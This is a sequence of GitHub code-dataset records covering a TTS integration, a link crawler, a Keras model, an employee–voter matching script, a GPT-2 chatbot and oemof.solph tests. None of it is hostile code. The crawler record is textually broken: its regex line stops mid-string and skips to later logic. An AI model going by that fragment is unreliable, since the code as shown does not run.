)\n", "repo_name": "carleeno/elevenlabs_tts", "sub_path": "custom_components/elevenlabs_tts/elevenlabs.py", "file_name": "elevenlabs.py", "file_ext": "py", "file_size_in_byte": 8402, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 41, "dataset": "github-code", "pt": "16", "api": [{"api_name": "logging.getLogger", "line_number": 27, "usage_type": "call"}, {"api_name": "homeassistant.core.HomeAssistant", "line_number": 34, "usage_type": "name"}, {"api_name": "homeassistant.config_entries.ConfigEntry", "line_number": 34, "usage_type": "name"}, {"api_name": "homeassistant.const.CONF_API_KEY", "line_number": 46, "usage_type": "name"}, {"api_name": "httpx.AsyncClient", "line_number": 48, "usage_type": "attribute"}, {"api_name": "homeassistant.helpers.httpx_client.get_async_client", "line_number": 48, "usage_type": "call"}, {"api_name": "orjson.dumps", "line_number": 81, "usage_type": "call"}, {"api_name": "httpx.Timeout", "line_number": 88, "usage_type": "call"}, {"api_name": "homeassistant.components.tts.Voice", "line_number": 102, "usage_type": "call"}, {"api_name": "homeassistant.components.tts.ATTR_AUDIO_OUTPUT", "line_number": 159, "usage_type": "argument"}, {"api_name": "homeassistant.components.tts.ATTR_VOICE", "line_number": 164, "usage_type": "argument"}, {"api_name": "homeassistant.components.tts.ATTR_VOICE", "line_number": 165, "usage_type": "argument"}, {"api_name": "const.DEFAULT_VOICE", "line_number": 166, "usage_type": "name"}, {"api_name": "const.CONF_STABILITY", "line_number": 172, "usage_type": "argument"}, {"api_name": "const.CONF_STABILITY", "line_number": 173, "usage_type": "argument"}, {"api_name": "const.DEFAULT_STABILITY", "line_number": 174, "usage_type": "name"}, {"api_name": "const.CONF_SIMILARITY", "line_number": 178, "usage_type": "argument"}, {"api_name": "const.CONF_SIMILARITY", "line_number": 179, "usage_type": "argument"}, {"api_name": "const.DEFAULT_SIMILARITY", "line_number": 180, "usage_type": "name"}, {"api_name": "const.CONF_MODEL", "line_number": 184, "usage_type": "argument"}, {"api_name": "const.CONF_MODEL", "line_number": 185, "usage_type": "argument"}, {"api_name": "const.DEFAULT_MODEL", "line_number": 186, "usage_type": "name"}, {"api_name": "const.CONF_OPTIMIZE_LATENCY", "line_number": 190, "usage_type": "argument"}, {"api_name": "const.CONF_OPTIMIZE_LATENCY", "line_number": 191, "usage_type": "argument"}, {"api_name": "const.DEFAULT_OPTIMIZE_LATENCY", "line_number": 192, "usage_type": "name"}, {"api_name": "homeassistant.const.CONF_API_KEY", "line_number": 196, "usage_type": "argument"}, {"api_name": "homeassistant.const.CONF_API_KEY", "line_number": 197, "usage_type": "argument"}, {"api_name": "const.CONF_STYLE", "line_number": 228, "usage_type": "argument"}, {"api_name": "const.CONF_STYLE", "line_number": 229, "usage_type": "argument"}, {"api_name": "const.DEFAULT_STYLE", "line_number": 230, "usage_type": "name"}, {"api_name": "const.CONF_USE_SPEAKER_BOOST", "line_number": 233, "usage_type": "argument"}, {"api_name": "const.CONF_USE_SPEAKER_BOOST", "line_number": 234, "usage_type": "argument"}, {"api_name": "const.DEFAULT_USE_SPEAKER_BOOST", "line_number": 235, "usage_type": "name"}]} +{"seq_id": "22767729790", "text": "import requests\r\nimport os\r\nimport re\r\nimport sys\r\nfrom urllib.parse import urlparse\r\n\r\n# get argv\r\ndef get_argv():\r\n if len(sys.argv) != 2:\r\n print(\"Usage: python3 crawl.py \")\r\n exit(1)\r\n return sys.argv[1]\r\n\r\ndef unique(links):\r\n return list(set(links))\r\n\r\ndef crawl(url):\r\n if url.startswith(\"/\"):\r\n url = sys.argv[1] + url\r\n try:\r\n # get html\r\n html = requests.get(url).text\r\n # get all links \r\n links = re.findall(' link_size:\r\n print(\"discovered {} links\".format(link_size))\r\n show(links)", "repo_name": "Cl0wnK1n9/BullShitTool", "sub_path": "crawl-link.py", "file_name": "crawl-link.py", "file_ext": "py", "file_size_in_byte": 1593, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 12, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 19, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 22, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 24, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 25, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 27, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 35, "usage_type": "attribute"}, {"api_name": "urllib.parse.urlparse", "line_number": 44, "usage_type": "call"}, {"api_name": "urllib.parse.urlparse", "line_number": 47, "usage_type": "call"}]} +{"seq_id": "2503203718", "text": "import itertools\nfrom typing import Tuple\n\nimport numpy as np\nfrom keras.activations import relu, softmax\nfrom keras.callbacks import History\nfrom keras.constraints import maxnorm\nfrom keras.layers import Dense, Flatten\nfrom keras.layers import MaxPooling2D, Dropout, Conv2D, Activation\nfrom keras.models import Sequential, Model\nfrom matplotlib import pyplot as plt\n\n\ndef get_model(shape: Tuple[int, int, int], n_classes: int, dropout: float = 0.5, l2_reg: float = None,\n layer: int = 3, filters: int = 512, ) -> Model:\n model = Sequential()\n model.add(Conv2D(filters, (3, 3), padding='same', input_shape=shape))\n model.add(Activation(relu))\n model.add(Conv2D(filters, (3, 3)))\n model.add(Activation(relu))\n\n for i in range(layer):\n model.add(Conv2D(filters, (3, 3), padding='same', activation=relu))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(dropout))\n\n model.add(Flatten())\n model.add(Dense(256, activation=relu))\n model.add(Dropout(dropout))\n model.add(Dense(n_classes, activation=softmax, kernel_constraint=maxnorm(3)))\n\n return model\n\n\ndef RMDL_epoch(history: History) -> None:\n caption = ['RDL']\n plt.legend(caption, loc='upper right')\n plt.plot(history.history['acc'])\n plt.title('model train accuracy')\n plt.ylabel('accuracy')\n plt.xlabel('epoch')\n plt.legend(caption, loc='upper right')\n plt.show()\n plt.plot(history.history['val_acc'])\n plt.title('model test accuracy')\n plt.ylabel('accuracy')\n plt.xlabel('epoch')\n plt.show()\n plt.legend(caption, loc='upper right')\n # summarize history for loss\n plt.plot(history.history['loss'])\n plt.title('model train loss ')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(caption, loc='upper right')\n plt.show()\n plt.legend(caption, loc='upper right')\n # summarize history for loss\n plt.plot(history.history['val_loss'])\n plt.title('model loss test')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(caption, loc='upper right')\n plt.show()\n plt.savefig(\"examples.png\")\n\n\ndef plot_confusion_matrix(cm, classes,\n normalize=False,\n title='Confusion matrix',\n cmap=plt.get_cmap('Blues')):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n # print(\"Normalized confusion matrix\")\n # else:\n # print('Confusion matrix, without normalization')\n\n # print(cm)\n\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n plt.show()\n", "repo_name": "traviho/Machine-Learning-Project2", "sub_path": "code-18/project2/image-classification/rmdl_mod.py", "file_name": "rmdl_mod.py", "file_ext": "py", "file_size_in_byte": 3269, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "typing.Tuple", "line_number": 14, "usage_type": "name"}, {"api_name": "keras.models.Sequential", "line_number": 16, "usage_type": "call"}, {"api_name": "keras.layers.Conv2D", "line_number": 17, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 18, "usage_type": "call"}, {"api_name": "keras.activations.relu", "line_number": 18, "usage_type": "argument"}, {"api_name": "keras.layers.Conv2D", "line_number": 19, "usage_type": "call"}, {"api_name": "keras.layers.Activation", "line_number": 20, "usage_type": "call"}, {"api_name": "keras.activations.relu", "line_number": 20, "usage_type": "argument"}, {"api_name": "keras.layers.Conv2D", "line_number": 23, "usage_type": "call"}, {"api_name": "keras.activations.relu", "line_number": 23, "usage_type": "name"}, {"api_name": "keras.layers.MaxPooling2D", "line_number": 24, "usage_type": "call"}, {"api_name": "keras.layers.Dropout", "line_number": 25, "usage_type": "call"}, {"api_name": "keras.layers.Flatten", "line_number": 27, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 28, "usage_type": "call"}, {"api_name": "keras.activations.relu", "line_number": 28, "usage_type": "name"}, {"api_name": "keras.layers.Dropout", "line_number": 29, "usage_type": "call"}, {"api_name": "keras.layers.Dense", "line_number": 30, "usage_type": "call"}, {"api_name": "keras.activations.softmax", "line_number": 30, "usage_type": "name"}, {"api_name": "keras.constraints.maxnorm", "line_number": 30, "usage_type": "call"}, {"api_name": "keras.models.Model", "line_number": 15, "usage_type": "name"}, {"api_name": "keras.callbacks.History", "line_number": 35, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.get_cmap", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "numpy.newaxis", "line_number": 77, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 84, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 84, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 85, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 85, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 88, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 88, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 89, "usage_type": "name"}, {"api_name": "itertools.product", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.text", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 99, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 99, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 100, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 100, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 101, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 101, "usage_type": "name"}]} +{"seq_id": "9126470605", "text": "import argparse\nimport pandas as pd\n\nimport sys\nsys.path.append( '../util' )\nimport util\n\n#############\n\n# Main program\nif __name__ == '__main__':\n\n # Retrieve and validate arguments\n parser = argparse.ArgumentParser( description='Correlate employees with residents' )\n parser.add_argument( '-m', dest='master_filename', help='Master database filename' )\n args = parser.parse_args()\n\n # Open the master database\n conn, cur, engine = util.open_database( args.master_filename, False )\n\n # Read employee data and drop duplicate names\n df_employees = pd.read_sql_table( 'Employees', engine, index_col=util.ID )\n df_employees = df_employees[ [ util.LAST_NAME, util.FIRST_NAME, util.DEPARTMENT, util.POSITION ] ]\n df_employees = df_employees.drop_duplicates( subset=[util.LAST_NAME, util.FIRST_NAME] )\n\n # Read census data\n df_census = pd.read_sql_table( 'Census', engine, index_col=util.ID, parse_dates=True )\n df_census = df_census[ [ util.LAST_NAME, util.FIRST_NAME, util.RESIDENT_ID, util.VOTER_STATUS ] ]\n\n # Merge census fields Resident ID and Voter Status into employee data\n df_merge = pd.merge( df_employees, df_census, how='left', on=[util.LAST_NAME, util.FIRST_NAME] )\n sr_dups = df_merge.duplicated( subset=[util.LAST_NAME, util.FIRST_NAME], keep=False )\n df_merge.loc[ sr_dups == True, util.RESIDENT_ID ] = 'unknown'\n df_merge.loc[ sr_dups == True, util.VOTER_STATUS ] = 'unknown'\n df_merge = df_merge.drop_duplicates( subset=[util.LAST_NAME, util.FIRST_NAME] )\n\n # Report findings\n n_v = len( df_census[ df_census[util.VOTER_STATUS] == 'A' ] )\n n_e = len( df_merge )\n n_re = len( df_merge[ df_merge[util.RESIDENT_ID].notnull() ] )\n n_ve = len( df_merge[ df_merge[util.VOTER_STATUS] == 'A' ] )\n\n print( '' )\n print( 'Number of active voters: {0}'.format( n_v ) )\n print( 'Number of employees: {0}'.format( n_e ) )\n print( 'Number of resident employees: {0}'.format( n_re ) )\n print( 'Number of active voter employees: {0}'.format( n_ve ) )\n print( '' )\n print( '{0:.0f}% of town employees live in Andover.'.format( 100 * n_re / n_e ) )\n print( '{0:.0f}% of town employees are active voters in Andover.'.format( 100 * n_ve / n_e ) )\n print( 'Active voter employees represent {0:.0f}% of all Andover active voters.'.format( 100 * n_ve / n_v ) )\n\n print( '' )\n filename = '../analysis/employees.xlsx'\n print( 'Writing {0} rows to {1}'.format( len( df_merge ), filename ) )\n print( 'Columns: {0}'.format( list( df_merge.columns ) ) )\n\n # Write to spreadsheet\n df_merge.to_excel( filename, index=False )\n\n # Report elapsed time\n util.report_elapsed_time()\n", "repo_name": "navkal/el", "sub_path": "analyzers/employees.py", "file_name": "employees.py", "file_ext": "py", "file_size_in_byte": 2682, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sys.path.append", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 14, "usage_type": "call"}, {"api_name": "util.open_database", "line_number": 19, "usage_type": "call"}, {"api_name": "pandas.read_sql_table", "line_number": 22, "usage_type": "call"}, {"api_name": "util.ID", "line_number": 22, "usage_type": "attribute"}, {"api_name": "util.LAST_NAME", "line_number": 23, "usage_type": "attribute"}, {"api_name": "util.FIRST_NAME", "line_number": 23, "usage_type": "attribute"}, {"api_name": "util.DEPARTMENT", "line_number": 23, "usage_type": "attribute"}, {"api_name": "util.POSITION", "line_number": 23, "usage_type": "attribute"}, {"api_name": "util.LAST_NAME", "line_number": 24, "usage_type": "attribute"}, {"api_name": "util.FIRST_NAME", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pandas.read_sql_table", "line_number": 27, "usage_type": "call"}, {"api_name": "util.ID", "line_number": 27, "usage_type": "attribute"}, {"api_name": "util.LAST_NAME", "line_number": 28, "usage_type": "attribute"}, {"api_name": "util.FIRST_NAME", "line_number": 28, "usage_type": "attribute"}, {"api_name": "util.RESIDENT_ID", "line_number": 28, "usage_type": "attribute"}, {"api_name": "util.VOTER_STATUS", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pandas.merge", "line_number": 31, "usage_type": "call"}, {"api_name": "util.LAST_NAME", "line_number": 31, "usage_type": "attribute"}, {"api_name": "util.FIRST_NAME", "line_number": 31, "usage_type": "attribute"}, {"api_name": "util.LAST_NAME", "line_number": 32, "usage_type": "attribute"}, {"api_name": "util.FIRST_NAME", "line_number": 32, "usage_type": "attribute"}, {"api_name": "util.RESIDENT_ID", "line_number": 33, "usage_type": "attribute"}, {"api_name": "util.VOTER_STATUS", "line_number": 34, "usage_type": "attribute"}, {"api_name": "util.LAST_NAME", "line_number": 35, "usage_type": "attribute"}, {"api_name": "util.FIRST_NAME", "line_number": 35, "usage_type": "attribute"}, {"api_name": "util.VOTER_STATUS", "line_number": 38, "usage_type": "attribute"}, {"api_name": "util.RESIDENT_ID", "line_number": 40, "usage_type": "attribute"}, {"api_name": "util.VOTER_STATUS", "line_number": 41, "usage_type": "attribute"}, {"api_name": "util.report_elapsed_time", "line_number": 62, "usage_type": "call"}]} +{"seq_id": "70814949128", "text": "from transformers import GPT2LMHeadModel, GPT2Tokenizer\nimport torch\nimport pandas as pd\n\ndf = pd.read_csv(\"ML/data-preprocesing/Python/Data.csv\")\n\n\n\ntokenizer = GPT2Tokenizer.from_pretrained(\"gpt2\")\nmodel = GPT2LMHeadModel.from_pretrained(\"gpt2\")\n\ntokenizer.mask_token = None\ntokenizer.pad_token = None\nmodel.config.pad_token_id = None\nmodel.config.mask_token_id = None\n\ndataset = []\nfor index, row in df.iterrows():\n user_query = row[\"user_query\"]\n bot_response = row[\"bot_response\"]\n dataset.append({\"user\": user_query, \"response\": bot_response})\n\ntokenized_dataset = tokenizer([conv[\"user\"] for conv in dataset], truncation=True, padding=True)\n\ninput_ids = torch.tensor(tokenized_dataset[\"input_ids\"])\nattention_mask = torch.tensor(tokenized_dataset[\"attention_mask\"])\ntarget_ids = input_ids.clone()\n\ndef chatbot_response(user_input, max_length=100):\n # Encode user input to tensor\n input_ids = tokenizer.encode(user_input, return_tensors=\"pt\")\n\n # Generate a response using the model\n with torch.no_grad():\n response_ids = model.generate(input_ids, max_length=max_length, num_return_sequences=1)\n\n # Decode the response tensor to text\n response_text = tokenizer.decode(response_ids[0], skip_special_tokens=True)\n\n return response_text\n\ndef main():\n print(\"Chatbot: Hi there! I'm your AI chatbot. Ask me anything or say 'exit' to quit.\")\n\n while True:\n user_input = input(\"You: \")\n if user_input.lower() == \"exit\":\n print(\"Chatbot: Goodbye!\")\n break\n\n response = chatbot_response(user_input)\n print(\"Chatbot:\", response)\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "supriyaprabhat/ella", "sub_path": "ella.py", "file_name": "ella.py", "file_ext": "py", "file_size_in_byte": 1657, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pandas.read_csv", "line_number": 5, "usage_type": "call"}, {"api_name": "transformers.GPT2Tokenizer.from_pretrained", "line_number": 9, "usage_type": "call"}, {"api_name": "transformers.GPT2Tokenizer", "line_number": 9, "usage_type": "name"}, {"api_name": "transformers.GPT2LMHeadModel.from_pretrained", "line_number": 10, "usage_type": "call"}, {"api_name": "transformers.GPT2LMHeadModel", "line_number": 10, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 34, "usage_type": "call"}]} +{"seq_id": "26650890050", "text": "import warnings\n\nimport pytest\nfrom oemof.solph import Bus\nfrom oemof.solph import Flow\nfrom oemof.solph import Investment\nfrom oemof.solph import NonConvex\nfrom oemof.solph import components\nfrom oemof.tools.debugging import SuspiciousUsageWarning\n\n# ********* GenericStorage *********\n\n\ndef test_generic_storage_1():\n \"\"\"Duplicate definition inflow.\"\"\"\n bel = Bus()\n with pytest.raises(AttributeError, match=\"Overdetermined.\"):\n components.GenericStorage(\n label='storage1',\n inputs={bel: Flow(variable_costs=10e10)},\n outputs={bel: Flow(variable_costs=10e10)},\n loss_rate=0.00, initial_storage_level=0,\n invest_relation_input_output=1,\n invest_relation_output_capacity=1,\n invest_relation_input_capacity=1,\n investment=Investment(),\n inflow_conversion_factor=1, outflow_conversion_factor=0.8)\n\n\ndef test_generic_storage_2():\n \"\"\"Nominal value defined with investment model.\"\"\"\n bel = Bus()\n with pytest.raises(AttributeError, match=\"If an investment object\"):\n components.GenericStorage(\n label='storage3',\n nominal_storage_capacity=45,\n inputs={bel: Flow(variable_costs=10e10)},\n outputs={bel: Flow(variable_costs=10e10)},\n loss_rate=0.00, initial_storage_level=0,\n invest_relation_input_capacity=1/6,\n invest_relation_output_capacity=1/6,\n inflow_conversion_factor=1, outflow_conversion_factor=0.8,\n investment=Investment(ep_costs=23))\n\n\ndef test_generic_storage_3():\n \"\"\"Nominal value defined with investment model.\"\"\"\n bel = Bus()\n components.GenericStorage(\n label='storage4',\n nominal_storage_capacity=45,\n inputs={bel: Flow(nominal_value=23, variable_costs=10e10)},\n outputs={bel: Flow(nominal_value=7.5, variable_costs=10e10)},\n loss_rate=0.00, initial_storage_level=0,\n inflow_conversion_factor=1, outflow_conversion_factor=0.8)\n\n\ndef test_generic_storage_with_old_parameters():\n deprecated = {\n 'nominal_capacity': 45,\n 'initial_capacity': 0,\n 'capacity_loss': 0,\n 'capacity_min': 0,\n 'capacity_max': 0,\n }\n # Make sure an `AttributeError` is raised if we supply all deprecated\n # parameters.\n with pytest.raises(AttributeError) as caught:\n components.GenericStorage(\n label='`GenericStorage` with all deprecated parameters',\n **deprecated\n )\n for parameter in deprecated:\n # Make sure every parameter used is mentioned in the exception's\n # message.\n assert parameter in str(caught.value)\n # Make sure an `AttributeError` is raised for each deprecated\n # parameter.\n pytest.raises(\n AttributeError,\n components.GenericStorage,\n **{\n \"label\": \"`GenericStorage` with `{}`\".format(parameter),\n parameter: deprecated[parameter],\n })\n\n\ndef test_generic_storage_with_non_convex_investment():\n \"\"\"Tests error if `offset` and `existing` attribute are given.\"\"\"\n with pytest.raises(\n AttributeError,\n match=r\"Values for 'offset' and 'existing' are given\"):\n bel = Bus()\n components.GenericStorage(\n label='storage4',\n inputs={bel: Flow()},\n outputs={bel: Flow()},\n invest_relation_input_capacity=1/6,\n invest_relation_output_capacity=1/6,\n investment=Investment(nonconvex=True, existing=5, maximum=25))\n\n\ndef test_generic_storage_with_non_convex_invest_maximum():\n \"\"\"No investment maximum at nonconvex investment.\"\"\"\n with pytest.raises(\n AttributeError,\n match=r\"Please provide an maximum investment value\"):\n bel = Bus()\n components.GenericStorage(\n label='storage6',\n inputs={bel: Flow()},\n outputs={bel: Flow()},\n invest_relation_input_capacity=1/6,\n invest_relation_output_capacity=1/6,\n investment=Investment(nonconvex=True))\n\n\ndef test_generic_storage_with_convex_invest_offset():\n \"\"\"Offset value is given and nonconvex is False.\"\"\"\n with pytest.raises(\n AttributeError, match=r\"If `nonconvex` is `False`, the `offset`\"):\n bel = Bus()\n components.GenericStorage(\n label='storage6',\n inputs={bel: Flow()},\n outputs={bel: Flow()},\n invest_relation_input_capacity=1/6,\n invest_relation_output_capacity=1/6,\n investment=Investment(offset=10))\n\n\ndef test_generic_storage_with_invest_and_fixed_losses_absolute():\n \"\"\"\n Storage with fixed losses in the investment mode but no minimum or existing\n value is set an AttributeError is raised because this may result in storage\n with zero capacity but fixed losses.\n \"\"\"\n msg = (r\"With fixed_losses_absolute > 0, either investment.existing or\"\n \" investment.minimum has to be non-zero.\")\n with pytest.raises(AttributeError, match=msg):\n bel = Bus()\n components.GenericStorage(\n label='storage4',\n inputs={bel: Flow()},\n outputs={bel: Flow()},\n investment=Investment(ep_costs=23, minimum=0, existing=0),\n fixed_losses_absolute=[0, 0, 4],\n )\n\n\n# ********* OffsetTransformer *********\n\ndef test_offsettransformer_wrong_flow_type():\n \"\"\"No NonConvexFlow for Inflow defined.\"\"\"\n with pytest.raises(\n TypeError, match=r'Input flows must be of type NonConvexFlow!'):\n bgas = Bus(label='gasBus')\n components.OffsetTransformer(\n label='gasboiler',\n inputs={bgas: Flow()},\n coefficients=(-17, 0.9))\n\n\ndef test_offsettransformer_not_enough_coefficients():\n with pytest.raises(\n ValueError,\n match=r'Two coefficients or coefficient series have to be given.'):\n components.OffsetTransformer(\n label='of1',\n coefficients=([1, 4, 7]))\n\n\ndef test_offsettransformer_too_many_coefficients():\n with pytest.raises(\n ValueError,\n match=r'Two coefficients or coefficient series have to be given.'):\n components.OffsetTransformer(\n label='of2',\n coefficients=(1, 4, 7))\n\n\ndef test_offsettransformer_empty():\n \"\"\"No NonConvexFlow for Inflow defined.\"\"\"\n components.OffsetTransformer()\n\n\ndef test_offsettransformer__too_many_input_flows():\n \"\"\"Too many Input Flows defined.\"\"\"\n with pytest.raises(ValueError,\n match=r\"OffsetTransformer` must not have more than 1\"):\n bgas = Bus(label='GasBus')\n bcoal = Bus(label='CoalBus')\n components.OffsetTransformer(\n label='ostf_2_in',\n inputs={\n bgas: Flow(\n nominal_value=60, min=0.5, max=1.0,\n nonconvex=NonConvex()),\n bcoal: Flow(\n nominal_value=30, min=0.3, max=1.0,\n nonconvex=NonConvex())\n },\n coefficients=(20, 0.5))\n\n\ndef test_offsettransformer_too_many_output_flows():\n \"\"\"Too many Output Flows defined.\"\"\"\n with pytest.raises(\n ValueError, match='OffsetTransformer` must not have more than 1'):\n bm1 = Bus(label='my_offset_Bus1')\n bm2 = Bus(label='my_offset_Bus2')\n\n components.OffsetTransformer(\n label='ostf_2_out',\n inputs={\n bm1: Flow(\n nominal_value=60, min=0.5, max=1.0,\n nonconvex=NonConvex())\n },\n outputs={bm1: Flow(),\n bm2: Flow()},\n coefficients=(20, 0.5))\n\n\n# ********* GenericCHP *********\ndef test_generic_chp_without_warning():\n warnings.filterwarnings(\"error\", category=SuspiciousUsageWarning)\n bel = Bus(label='electricityBus')\n bth = Bus(label='heatBus')\n bgas = Bus(label='commodityBus')\n components.GenericCHP(\n label='combined_cycle_extraction_turbine',\n fuel_input={bgas: Flow(\n H_L_FG_share_max=[0.183])},\n electrical_output={bel: Flow(\n P_max_woDH=[155.946],\n P_min_woDH=[68.787],\n Eta_el_max_woDH=[0.525],\n 